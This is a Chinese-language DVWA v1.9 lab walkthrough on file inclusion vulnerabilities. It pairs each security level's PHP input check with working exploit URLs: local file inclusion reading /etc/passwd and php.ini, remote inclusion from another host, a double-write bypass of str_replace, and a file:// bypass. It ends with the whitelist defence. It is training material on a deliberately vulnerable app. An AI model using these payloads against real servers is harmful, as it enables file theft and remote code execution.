DVWA V1.9：File Inclusion（文件包含）

File Inclusion 介绍

一些Web应用程序允许用户指定直接用于文件流的输入，或者允许用户将文件上载到服务器。
在稍后的时间，Web应用程序访问Web应用上下文中的用户提供的输入。
通过这样做，Web应用程序允许潜在的恶意文件执行。

如果所选择的文件在目标机上是本地的，则称为“本地文件包含（LFI）”。
但是文件也可以包含在其他机器上，然后攻击是一个“远程文件包含（RFI）”。

当RFI不是一个选项。使用LFI（如文件上传和目录遍历）的另一个漏洞通常可以达到相同的效果。

注意，“文件包含”一词与“任意文件访问”或“文件泄露”不一样。

Low 级别

核心代码

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到，服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接，服务器会包含相应的文件，并将结果返回。

需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

官方提示

这允许直接输入到许多PHP函数之一这将包括执行时的内容。
取决于Web服务的配置将取决于RFI是可能的。

Spoiler: LFI: ?page=../../../../../../etc/passwd.
Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.

漏洞利用

1.本地文件包含

构造url
http://43.247.91.228:81/vulnerabilities/fi/?page=../../../../../../etc/passwd

2.远程文件包含
当服务器的php配置中，选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件，如果对文件来源没有检查的话，就容易导致任意远程代码执行。
在远程服务器192.168.5.12上传一个phpinfo.txt文件，内容如下

构造url
http://43.247.91.228:81/vulnerabilities/fi/?page=http://192.168.5.12/phpinfo.txt

Medium 级别

核心代码

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到，Medium级别的代码增加了str_replace函数，对page参数进行了一定的处理，将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符，即删除。

官方提示

开发人员已经阅读了LFI/RFI中的一些问题，并决定过滤输入。然而，使用的模式是不够的。

Spoiler: LFI: Possible, due to it only cycling through the pattern matching once.
Spoiler: RFI: PHP Streams.

漏洞利用

使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt时，str_replace函数会将http://删除，于是page=http://192.168.5.12/phpinfo.txt，成功执行远程命令。

同时，因为替换的只是“…/”、“…\”，所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1.本地文件包含

http://43.247.91.228:81/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd

2.远程文件包含

http://43.247.91.228:81/vulnerabilities/fi/?page=hthttptp://192.168.5.12/phpinfo.txt

High 级别

核心代码

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到，High级别的代码使用了fnmatch函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。

官方提示

开发人员已经受够了。他们决定只允许使用某些文件。然而，由于有多个文件具有相同的基名，所以它们使用通配符将它们全部包括在内。

Spoiler: LFI: The filename only has start with a certain value..
Spoiler: RFI: Need to link in another vulnerability, such as file upload.

漏洞利用

High级别的代码规定只能包含file开头的文件，看似安全，不幸的是我们依然可以利用file协议绕过防护策略。
file协议其实我们并不陌生，当我们用浏览器打开一个本地文件时，用的就是file协议，如下图。

http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

成功读取了服务器的配置文件

至于执行任意命令，需要配合文件上传漏洞利用。
首先需要上传一个内容为php的文件，然后再利用file协议去包含上传文件（需要知道上传文件的绝对路径），从而实现任意命令执行。

Impossible 级别

核心代码

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到，Impossible级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一，彻底杜绝了文件包含漏洞。

官方提示

开发人员将其退出并只对允许的页进行硬编码，并有精确的文件名。
通过这样做，它消除了所有攻击的途径。

参考链接：
新手指南：DVWA-1.9全级别教程之File Inclusion